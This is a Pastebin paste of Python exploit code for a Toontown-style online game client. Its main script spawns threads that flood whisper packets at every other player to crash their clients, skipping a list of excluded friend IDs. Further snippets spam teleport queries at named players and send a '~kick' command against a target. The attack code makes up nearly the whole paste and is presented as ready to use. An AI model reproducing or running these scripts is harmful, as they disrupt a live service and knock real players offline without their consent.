Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- def whisperToToon(doId):
- print "Attempting crash for doId: %s." % doId
- while doId in base.cr.doId2do.keys():
- base.cr.ttrFriendsManager.sendUpdate('sendTalkWhisper', [doId, "We are Team Dee Dee!"])
- else:
- print "Successfully crashed %s." % doId
- # Put anyone here you don't want to crash.
- excludes = [base.localAvatar.doId, 100001453, 100001459, 100001463, 100001456]
- SLEEP_STRING = TTLocalizer.ToonSleepString
- def findAllToons():
- doIds = base.cr.doId2do.keys()
- for doId in doIds:
- do = base.cr.doId2do[doId]
- if do.dclass.getName() == 'DistributedToon':
- if doId in excludes:
- continue
- elif do.nametag.getChat() == SLEEP_STRING:
- continue
- else:
- thread.start_new_thread(whisperToToon, (doId,))
- thread.start_new_thread(findAllToons, ())
- av = base.cr.doFind('Astro')
- while True:
- av.sendUpdate('teleportQuery', [av.doId])
- base.localAvatar.sendUpdate('reqUseSpecial', [69])
- av = base.cr.doFind('NAME HERE')
- while True:
- av.sendUpdate('teleportQuery', [av.doId])
- base.cr.doFind('MagicWordManager').sendUpdate('sendMagicWord', ['~kick', base.cr.doFind('TARGET').doId]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement